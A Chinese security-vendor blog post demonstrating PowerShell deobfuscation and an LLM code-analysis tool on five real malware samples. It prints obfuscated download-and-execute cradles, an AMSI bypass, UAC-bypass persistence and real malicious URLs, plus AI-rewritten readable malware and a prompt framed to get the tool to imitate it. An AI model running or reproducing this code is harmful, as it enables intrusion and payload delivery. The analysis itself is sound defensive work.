【天穹】双剑合璧:PowerShell反混淆 & 大模型解读

一、概述

近年来,PowerShell频繁出现在各种网络攻击事件中,在高级持续攻击、勒索软件、网络钓鱼、加密劫持等攻击行为中都有利用到PowerShell。该脚本语言的动态特性使其能够轻易地被混淆处理,混淆手法之多使得脚本内容不仅能够绕过杀毒软件的检测查杀,也增加了恶意行为分析工作的难度。

当前PowerShell脚本反混淆技术多采用正则表达式定位和预设策略反混淆,以及基于机器学习和抽象语法树反混淆,这些反混淆技术对于使用多种混淆手法的复杂脚本内容不能实现完全解混淆,得到的结果仍旧存在大量混淆语句。

为能还原PowerShell脚本原始代码,天穹沙箱推出了PowerShell脚本反混淆功能,功能实现深度融合了星图实验室的两项学术研究成果——Invoke-Deobfuscation(DSN 2022)PowerPeeler(CCS 2024),具体反混淆功能包括静态分析和动态追踪两方面:

静态分析: 利用词法分析和抽象语法树定位PowerShell代码中的混淆语句片段,使用模拟执行方式得到反混淆结果,然后将反混淆结果替换抽象语法树中对应节点内容,重构得到完整的解混淆脚本,最后利用重排版的方式使得反混淆结果更具可读性。该反混淆方式可精准定位混淆片段,对于处理包括空白字符插入、字符随机化、字符串逆序、拼接以及Base64编码等方式在内的混淆脚本,都展现出了极高的处理效率和准确性。

动态追踪: 通过PowerShell抽象语法树找到解混淆操作节点对应的指令,利用脚本运行时自解混淆的行为实时监控解混淆指令的执行结果,对监控结果进行整理和重排版得到解混淆脚本。基于指令级别的动态反混淆技术可天然保证语句上下文的正确性,进而可确保得到正确的反混淆结果。该方法能够应对目前已知的所有混淆手段,可准确恢复脚本的原始结构和内容。

同时,天穹沙箱针对之前的TQGPT功能进行升级,赋予其强大的代码解读功能,此功能可帮助用户总结代码功能提取IOC信息分析恶意行为优化代码输出C2研判评估威胁等级代码仿写(禁止用于恶意用途)等,其全面深入的代码分析能力极大的提升了脚本类样本的分析效率,为安全人员提供了强大的工具,帮助安全人员快速定位威胁。

二、样本分析

1、进入天穹沙箱开始分析界面,在高级选项中开启反混淆开关。

图1 启用反混淆

2、上传待分析的PowerShell脚本,等待分析完成。

图2 上传样本

3、在分析报告中逆向工程部分可查看反混淆后的脚本内容。

图3 反混淆结果示例

4、点击逆向工程旁边的代码智能解读按钮,可对当前代码进行智能解读。

图4 代码智能解读按钮
图5 智能代码解读对话框

三、反混淆能力展示

1、base64编码、字符串反转、命令大小写、BXOR位异或

报告链接分析报告(内网访问)

Set-Alias -name input -val Invoke-WebRequest
Set-Alias -name output -val Invoke-Expression
$a = "RM0RAZ0QVMxED1BHKIFRXpgSDtAQRZFRVpgCfYVVRFVT".ToCharArray()
[aRRaY]::reVErse($a)
$b = [sYstEM.CoNveRt]::"froMba`sE64strING"($a -join '')
for ($x = 0; $x -lt $b.Count; $x++) {
${B}[${x}] = ${B}[${X}] -bxor 37
}
$c = (input ([sySteM.tExt.EncOding]::UTF8.GetString($b))). Content
output $c

反混淆结果如下,我们可以观察到$c变量被恢复为了可读的Powershell语句:

图6 反混淆结果

接下来我们使用代码智能解读功能,针对代码提问:

问题1:请用中文解读代码的行为

图7 解读代码

问题2:该代码是否存在Invoke操作?如果有,则继续回答它的目的是什么?

图8 Invoke行为解读

2、随机字符插入、base64编码、字符串操作、反引号

报告链接分析报告(内网访问)

Ie`X ("{2}{0}{1}" -f 'ost h', 'ello', 'write-h')
$xdjmd  =   'aAB0AHQAcABzADoALwAvAHQAZQBzAHQALgBjAG'
$lsffs =   '8AbQAvAG0AYQBsAHcAYQByAGUALgB0AHgAdAA='
$sdfs = [Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($xdjmd + $lsffs))
.($psHoME[4]+$PShOmE[30]+'x') (Ne`W-oB`JeCt Net.Web`C`lient).downloadstring($sdfs)

反混淆结果如下,我们可以观察到$sdfs被恢复为了正常的Powershell语句:

图9 反混淆结果

使用代码智能解读功能提问:

问题1:该样本存在哪些恶意行为?请结合对应的代码片段分点回答

图10 解读代码

问题2:从代码中可以提取哪些IOC信息?

图11 提取IOC

问题3:结合代码来看,malware.txt最可能是什么格式的文件?

图12 推测下载文件格式

3、字符数组、算术运算、字符拼接

报告链接分析报告(内网访问)

set-alias 7boh6i0n $([char](171-56)+[char](213-112)+[char](215-99)+[char](99-54)+[char](218-121)+[char](158-50)+[char](162-57)+[char](195-98)+[char](225-110))
$ds6ca0i17p8kuyj = $executioncontext
$khu2r8flz4c5ijd=$([char](226-121)+[char](223-113)+[char](225-107)+[char](160-49)+[char](163-56)+[char](222-121)+[char](199-100)+[char](228-117)+[char](220-111)+[char](227-118)+[char](147-50)+[char](161-51)+[char](198-98))
$tuhz78ygvd05br173mh1q5oygcnja=$([char](153-52)+[char](226-106)+[char](217-105)+[char](154-57)+[char](223-113)+[char](213-113)+[char](235-120)+[char](228-112)+[char](234-120)+[char](155-50)+[char](208-98)+[char](154-51))
[Ref].Assembly.GetType($ds6ca0i17p8kuyj.$khu2r8flz4c5ijd.$tuhz78ygvd05br173mh1q5oygcnja($([char](187-104)+[char](236-115)+[char](216-101)+[char](167-51)+[char](150-49)+[char](166-57)+[char](96-50)+[char](133-56)+[char](213-116)+[char](164-54)+[char](150-53)+[char](210-107)+[char](205-104)+[char](225-116)+[char](200-99)+[char](228-118)+[char](230-114)+[char](144-98)+[char](113-48)+[char](234-117)+[char](219-103)+[char](215-104)+[char](221-112)+[char](203-106)+[char](237-121)+[char](220-115)+[char](167-56)+[char](214-104)+[char](96-50)+[char](166-101)+[char](157-48)+[char](167-52)+[char](205-100)+[char](198-113)+[char](229-113)+[char](223-118)+[char](157-49)+[char](163-48)))).GetField($ds6ca0i17p8kuyj.$khu2r8flz4c5ijd.$tuhz78ygvd05br173mh1q5oygcnja($([char](218-121)+[char](166-57)+[char](171-56)+[char](218-113)+[char](122-49)+[char](210-100)+[char](154-49)+[char](217-101)+[char](120-50)+[char](149-52)+[char](223-118)+[char](226-118)+[char](221-120)+[char](208-108))),$ds6ca0i17p8kuyj.$khu2r8flz4c5ijd.$tuhz78ygvd05br173mh1q5oygcnja($([char](196-118)+[char](165-54)+[char](159-49)+[char](185-105)+[char](232-115)+[char](216-118)+[char](221-113)+[char](224-119)+[char](220-121)+[char](155-111)+[char](133-50)+[char](165-49)+[char](149-52)+[char](238-122)+[char](223-118)+[char](211-112)))).SetValue($egna8xcpw26kdzy,$true);

反混淆结果如下,我们可以看到代码长度被大幅缩短,其逻辑被清晰直观的展示出现:

图13 反混淆结果

使用代码智能解读功能提问:

问题1:这段代码的作用是什么:[Ref].Assembly.GetType((“System.Management.Automation.AmsiUtils”)).GetField((“amsiInitFailed”),(“NonPublic,Static”)).SetValue(($Null),$true)

图14 某一段代码的作用

问题2:为什么代码可以关闭AMSI接口?

图15 关闭AMSI原理

问题3:该样本使用反射实现了什么恶意行为?除此之外,分点讲一下反射还可以实现哪些恶意行为,且每点都需要给出对应的代码示例。

图16 反射的恶意行为

4、随机化命名、特殊字符、Base64

报告链接分析报告(内网访问)

${_/|\_/|////\__|/_|\\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwBtAGQA')))
${_/|\_/|////\__|/_|\\\\\\/|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZQB4AGUA')))
${__///\\\} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBwAG4AZwA=')))
${_/|\_/|////\__|/_|\\\\\\/\\\\/\/\/\|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('egBpAHAA')))
${_/|\_/|////\__|//\\\\\\\\/|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcABzADoALwAvAHcAdwB3AC4AZAByAG8AcABiAG8AeAAuAGMAbwBtAC8AcwBjAGwALwBmAGkALwB4AG8AbQB3AGYAOAA3AGgANQBhAG4AMgAwAHYAMgBnAGkAbABtAHYAdgAvAG0ALgB6AGkAcAA/AHIAbABrAGUAeQA9AHgAZwAxAG8AcwBqADMAcwA0ADMAZgBsADkAcABhAGcAcgA3AHoAZwBqADYAeQA3ADAAJgBkAGwAPQAxAA=='))) 
${_/|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwA6AFwAdQBzAGUAcgBzAFwA')))
${_/|\_/|/\\\\\\\/|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cAB1AGIAbABpAGMA'))) 
${_/|_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwA6AFwAdQBzAGUAcgBzAFwA'))) 
${_\\\\\\/|\_/|/\\\\\\\/|_} = "${_/|_}${_/|\_/|/\\\\\\\/|_}"
${_\\/\/\/\/\/\/\/\////\\\//\/\/\/\//_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RwBsAG8AYgBhAGwA')))
${_\\/\/\/\/\/\/\/\////\\\//\/\/\/\////_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RABsAGwAQwBhAGwAbAA='))) 
${_\\/\/\/\/\/\/\/\////\\\//\/\/\/\////\\\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBUAFIAVQBDAFQA')))
${_\\/\/\/\/\/\/\/\////\\\//\/\/\/\///////\\\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SgBMAEkAXwBHAGUAdABTAHQAZABBAHIAZwBjAA=='))) 
${_\\/\/\//\/\\/\/\/\/\////\\\//\/\/\/\///////\\\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RABsAGwATwBwAGUAbgA=')))
${_\\/\/\//\/\\/\/\/\/\\\\\////\\\//\/\/\/\///////\\\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('IwBOAG8AVAByAGEAeQBJAGMAbwBuAA==')))
${_um_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAQwBsAGEAcwBzAGUAcwBcAG0AcwAtAHMAZQB0AHQAaQBuAGcAcwBcAFMAaABlAGwAbABcAE8AcABlAG4AXABjAG8AbQBtAGEAbgBkAA=='))) 
${_dois_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwAQwBsAGEAcwBzAGUAcwBcAG0AcwAtAHMAZQB0AHQAaQBuAGcAcwBcAFMAaABlAGwAbABcAE8AcABlAG4AXABjAG8AbQBtAGEAbgBkACIAIAAtAE4AYQBtAGUAIAAiAEQAZQBsAGUAZwBhAHQAZQBFAHgAZQBjAHUAdABlACIAIAAtAFYAYQBsAHUAZQAgACIA')))
${_tres_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RABlAGwAZQBnAGEAdABlAEUAeABlAGMAdQB0AGUA'))) 
${_qtro_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('KABkAGUAZgBhAHUAbAB0ACkA')))
${_fiv_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGYAbwBkAGgAZQBsAHAAZQByAC4AZQB4AGUA')))
${_six_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZgBvAGQAaABlAGwAcABlAHIALgBlAHgAZQA=')))
${_sev_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XABcAD8AXABDADoAXABXAGkAbgBkAG8AdwBzACAAXABTAHkAcwB0AGUAbQAzADIAXAA=')))
${_\\\} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MQBuACAAaQBhAA=='))) 
${_\\///////////////////////_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QwA6AFwA')))
${_tx_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgB0AHgAdAA=')))
${_dx_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBkAGwAbAA=')))
${_ex_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgBlAHgAZQA=')))
${_jl_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('agBsAGkA')))
${_ms_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBTAFYAQwBSADEAMAAwAA==')))
${_wb_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VwBlAGIAVgBpAGUAdwAyAEwAbwBhAGQAZQByAA==')))
${_\\\\\\/|\\\\\\\\\\\\\\\\\_} = $env:COMPUTERNAME
${/////\\\\\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/} = "011123"

反混淆结果如下,反混淆后的代码展示样本的C2地址等IOC信息,其逻辑被清晰直观展示:

图17 反混淆结果

使用代码智能解读功能提问:

问题1:该样本使用了哪些代码混淆手段,请分点并结合对应代码片段回答。

图18 样本的混淆手段

问题2:分点描述该样本具体的恶意行为,并展示对应的代码片段

图19 恶意行为解读

问题3:该样本是如何实现持久化的操作的?除此之外,分点描述Powershell还有哪些方法可以实现持久化,且每点都需要给出对应的代码示例。

图20 持久化行为

问题4:在保持原有代码功能不变的情况下,优化这段代码,使其更有助于样本分析工作。

图21 代码优化

点击复制代码可以拷贝代码智能解读输出代码,优化后的代码如下:

# 生成随机字符串
function GenerateRandomString {
    $characters = "qwertyuiopasdfghjklzxcvbnm23456789"
    $randomString = ""
    for ($i = 0; $i -lt 8; $i++) {
        $randomString += $characters[(Get-Random -Minimum 0 -Maximum $characters.Length)]
    }
    return $randomString
}

# 创建临时目录和文件
function CreateTempDirectoryAndFile {
    param([string]$tempDirectory, [string]$tempFile)
    New-Item -ItemType Directory -Path $tempDirectory
    Set-Content -Path $tempFile -Value "EncodedCommand"
}

# 下载并解压文件
function DownloadAndExtract {
    param([string]$tempDirectory, [string]$url, [string]$destination)
    $webClient = New-Object System.Net.WebClient
    $webClient.DownloadFile($url, $destination)
    Expand-Archive -Path $destination -DestinationPath $tempDirectory
}

# 重命名文件
function RenameFiles {
    param([string]$tempDirectory)
    Rename-Item -Path "$tempDirectory\exe.txt" -NewName "$randomString.exe"
    Rename-Item -Path "$tempDirectory\6.txt" -NewName "$randomString.ia"
    Rename-Item -Path "$tempDirectory\b.txt" -NewName "$randomString.ai"
    Rename-Item -Path "$tempDirectory\c.txt" -NewName "$randomString.at"
    Rename-Item -Path "$tempDirectory\at.txt" -NewName "$randomString.mdat"
    Rename-Item -Path "$tempDirectory\i7.txt" -NewName "$randomStringi7.exe"
    Rename-Item -Path "$tempDirectory\7.txt" -NewName "$randomString.bt.ia"
    Rename-Item -Path "$tempDirectory\bt.txt" -NewName "$randomString.bai"
    Rename-Item -Path "$tempDirectory\jli.txt" -NewName "$randomString.jli.dll"
    Rename-Item -Path "$tempDirectory\MSVCR100.txt" -NewName "$randomString.MSVCR100.dll"
    Rename-Item -Path "$tempDirectory\WebView2Loader.txt" -NewName "$randomString.WebView2Loader.dll"
    Remove-Item "$tempDirectory\*.zip"
}

# 创建启动项
function CreateStartupShortcut {
    param([string]$startupDirectory, [string]$shortcutPath, [string]$targetPath)
    $shell = New-Object -ComObject WScript.Shell
    $shortcut = $shell.CreateShortcut($shortcutPath)
    $shortcut.TargetPath = $targetPath
    $shortcut.Save()
}

# 修改注册表
function ModifyRegistry {
    param([string]$targetPath)
    New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
    New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
    Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $targetPath -Force
}

# 清理痕迹
function Cleanup {
    Remove-Item "C:\users\public\*.vbs"
    Remove-Item "C:\users\public\*.lnk"
    Remove-Item "C:\users\public\*.exe"
    Remove-Item "C:\users\public\*.cmd"
}

# 重启系统
function RestartSystem {
    shutdown.exe -r -t 10
}

# 主函数
function Main {
    $randomString = GenerateRandomString()
    $tempDirectory = "C:\$randomString"
    $tempFile = "$tempDirectory\LUCHAO-PC"
    $url = "https://www.dropbox.com/scl/fi/xomwf87h5an20v2gilmvv/m.zip?rlkey=xg1osj3s43fl9pagr7zgj6y70&dl=1"
    $destination = "$tempDirectory\$randomString.zip"
    $startupDirectory = "C:\Users\luchao\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
    $shortcutPath = "$startupDirectory\$randomString.lnk"
    $targetPath = "$tempDirectory\$randomStringi7.exe"

    CreateTempDirectoryAndFile -tempDirectory $tempDirectory -tempFile $tempFile
    DownloadAndExtract -tempDirectory $tempDirectory -url $url -destination $destination
    RenameFiles -tempDirectory $tempDirectory
    CreateStartupShortcut -startupDirectory $startupDirectory -shortcutPath $shortcutPath -targetPath $targetPath
    ModifyRegistry -targetPath $targetPath
    Cleanup
    RestartSystem
}

# 执行主函数
Main

5、集合多种混淆

报告链接分析报告(内网访问)

#仅展示了部分代码片段
$qzi=new-object net.webclient;$mrs='http://habarimoto24.com/nh@http://fenett2018.com/dobgx@http://eastend.jp/bl5kfa@http://bemnyc.com/u8erijeq@http://abakus-biuro.net//a9zqemm'.split('@');$wai = '509';$kqz=$env:public+'\'+$wai+'.exe';foreach($cme in $mrs){try{$qzi.downloadfile($cme, $kqz);invoke-item $kqz;break;}catch{}}                 
aechah1yai2zus9oo5ohj3kooxu2eidoak0eiXeKah6aeTheephohweloh8Taesho6oor4eeChaeque3oog0ahye1eiSao2Pee4iet7jaetei9aiwe2queifai1hoo6Taelocoo6iShaishiequooghoushaiboziexeifaeph6nu3ohshah1eeb5aim1Phoh5oisaichaexaedae6eeng2eighohCae1YaaNgee7Choohoo0ej6mae5Xeem8shiejio8teigeeFoopaedaeSahGhee7dae6xahm0thago5woiNahhoor4Eepie0aeNook1boo9Ee9hae6aiXah9ooquoYae3daiquaomoalohw1quuoshaigiJai0sei1iecaeth0ho7Aezaiy2ier3pheCh4shahGohM1eet1ov3Oak5sohxingangeiloo6Ve0bai8aeVijeiwaihu1la6Oht2iahaepi0ea6pohsiew2cho1oCeighu9shoh7eit
[Ref].Assembly.GetType([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHM='))).GetField([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('YW1zaUluaXRGYWlsZWQ=')),'NonPublic,Static').SetValue($null,$true);Add-Type -TypeDefinition "using System;using System.Diagnostics;using System.Runtime.InteropServices;[StructLayout(LayoutKind.Sequential)]public struct l1Ill1{public IntPtr llI1Il1111;public IntPtr ll11llII111;public uint II11IIIIIIl;public uint Il1lI1;}[StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]public struct l1lll1l{public uint II1l1Il1II;public string I11l1111I;public string lllIIlII;public string l1I1IIllI1I1;public uint I1I1ll11I;public uint lIlII11;public uint II11lIIl11I;public uint lIl1lIl1II11;public uint lIIl1Il;public uint Illl11I1;public uint II1ll1l11;public uint IlIlIl1Illl;public short l11111lI1l;public short lllIllI11I11;public IntPtr I1II1lIII;public IntPtr Il11lI1;public IntPtr ll1IlI;public IntPtr l1l11Il1lll1;};public static class lIlIlI{[DllImport(""kernel32.dll"",SetLastError=true)]public static extern bool CreateProcess(string llllIIIllIlI,string l1111I1I11I1,IntPtr ll1Il111,IntPtr IIIll11Il1,bool l1Il1lll111,uint IIlIl11l11l,IntPtr Il1I1Il11l1l,string l1l1Illl,ref l1lll1l Il111,out l1Ill1 II11l111lII1);}";$I1II1I="$env:userprofile\AppData\LocalLow\$(-join((48..57)+(65..90)+(97..122)|Get-Random -Count 8|%{[char]$_})).tmp";$IIl11ll11I11='http://yourmother4cancer.info/Nereidae/ZdDZ/umping?HGn3Nw=1932-05-23';[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('JGNsaT0oTmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50KTskY2xpLkhlYWRlcnNbJ1VzZXItQWdlbnQnXT0nd2VmMktvNFo3NHhPV2k2Ryc7JGNsaS5Eb3dubG9hZEZpbGUoJElJbDExbGwxMUkxMSwkSTFJSTFJKTs='))|iex;$III11ll1=New-Object l1lll1l;$III11ll1.l11111lI1l=0x0;$III11ll1.II1l1Il1II=[System.Runtime.InteropServices.Marshal]::SizeOf($III11ll1);$ll11Il1Il=New-Object l1Ill1;[lIlIlI]::CreateProcess($I1II1I,$I1II1I,[IntPtr]::Zero,[IntPtr]::Zero,$false,0x00000008,[IntPtr]::Zero,"c:",[ref]$III11ll1,[ref]$ll11Il1Il)|out-null;

反混淆结果:

图22 反混淆结果

使用代码智能解读功能提问:

问题1:分点描述该样本具体的恶意行为,并展示对应的代码片段

图23 恶意行为解读

问题2:请优化这段代码,使其更有助于样本分析工作

图24 代码优化

点击复制代码可以拷贝代码智能解读输出代码,优化后的代码如下:

# 定义WebClient对象,用于下载文件
function DownloadFile($url, $destination) {
    $webClient = New-Object System.Net.WebClient
    $webClient.DownloadFile($url, $destination)
}

# 定义函数,用于执行文件
function ExecuteFile($filePath) {
    Invoke-Item $filePath
}

# 定义函数,用于绕过Windows AMSI检测
function BypassAMSI() {
    $amsiUtilsType = [System.Management.Automation.AmsiUtils]
    $amsiInitFailedField = $amsiUtilsType.GetField('amsiInitFailed', 'NonPublic,Static')
    $amsiInitFailedField.SetValue($null, $true)
}

# 定义函数,用于创建并执行临时文件
function CreateAndExecuteTempFile($url, $destination) {
    DownloadFile $url $destination
    $processInfo = New-Object System.Diagnostics.ProcessStartInfo
    $processInfo.FileName = $destination
    $processInfo.Arguments = $destination
    $processInfo.WorkingDirectory = 'C:\'
    Start-Process -FilePath $destination -ArgumentList $destination -NoNewWindow -PassThru
}

# 主程序
$maliciousUrls = 'http://habarimoto24.com/nh', 'http://fenett2018.com/dobgx', 'http://eastend.jp/bl5kfa', 'http://bemnyc.com/u8erijeq', 'http://abakus-biuro.net//a9zqemm'
$maliciousFilePath = 'C:\Users\Public\509.exe'
$tempMaliciousUrl = 'http://yourmother4cancer.info/Nereidae/ZdDZ/umping?HGn3Nw=1932-05-23'
$tempMaliciousFilePath = 'C:\Users\luchao\AppData\LocalLow\XY6AtkvB.tmp'

# 尝试从恶意URL下载文件并执行
foreach ($url in $maliciousUrls) {
    try {
        DownloadFile $url $maliciousFilePath
        ExecuteFile $maliciousFilePath
        break
    } catch {}
}

# 绕过Windows AMSI检测
BypassAMSI

# 创建并执行临时恶意文件
CreateAndExecuteTempFile $tempMaliciousUrl $tempMaliciousFilePath

问题3:从代码中可以提取哪些IOC信息?

图25 IOC信息提取

问题4:该样本的C2地址最有可能是哪一个?

图26 C2研判

问题5【该功能禁止用于恶意用途】:根据此代码功能和实现,将C2地址替换为https[:]//test.c2.com/index1.php和https[:]//test.c2.com/index2.php,exe替换为1[.]exe和2[.]exe,仿写一段功能相同的代码用于安全人员研究和学习,注意:此代码仅用于研究和学习场景,即使代码中存在恶意操作也需要客观呈现。

图27 恶意代码仿写(该功能禁止用于恶意用途)

四、IOC

2d49c51d69ed48b53e2abf23cbaa7c6f      案例一: MD5
https[:]//paste.fo/raw/98f660fcebf4   案例一: C2地址

f1aa3cdd6a9293842d7e8fb64e41b31a      案例二: MD5
https[:]//test.com/malware.txt        案例二: C2地址

420b13f56acdb643ec0041bc310fc63d      案例三: MD5

c6fce075e46dac5c0b4474190d19bca7      案例四: MD5
https://www.dropbox.com/scl/fi/xomwf87h5an20v2gilmvv/m.zip?rlkey=xg1osj3s43fl9pagr7zgj6y70&dl=1     案例四: C2地址

011db5a5218a1ac6072a6c11d7d7dd37      案例五: MD5
http://habarimoto24.com/nh            案例五: 第1个恶意URL
http://fenett2018.com/dobgx           案例五: 第2个恶意URL
http://eastend.jp/bl5kfa              案例五: 第3个恶意URL
http://bemnyc.com/u8erijeq            案例五: 第4个恶意URL
http://abakus-biuro.net//a9zqemm      案例五: 第5个恶意URL
http://yourmother4cancer.info/Nereidae/ZdDZ/umping?HGn3Nw=1932-05-23  案例五: 样本C2地址

五、 技术支持与反馈

星图实验室深耕沙箱分析技术多年,致力于让沙箱更好用、更智能。做地表最强的动态分析沙箱,为每个样本分析人员提供便捷易用的分析工具,始终是我们最求的目标。各位同学在使用过程中有任何问题,欢迎联系我们。

天穹沙箱支持模拟14种CPU架构的虚拟机,环境数量50+,全面覆盖PC、服务器、智能终端、IoT设备的主流设备架构形态。在宿主机方面,除了Intel/AMD的x86架构CPU和CentOS操作系统之外,天穹沙箱支持海光、飞腾、鲲鹏等x86、ARM架构国产CPU和银河麒麟、中科方德等信创操作系统。

天穹沙箱系统以云沙箱、引擎输出、数据接口等多种形式服务于公司各个业务部门,包括天眼、终端安全、态势感知、ICG、锡安平台、安服等。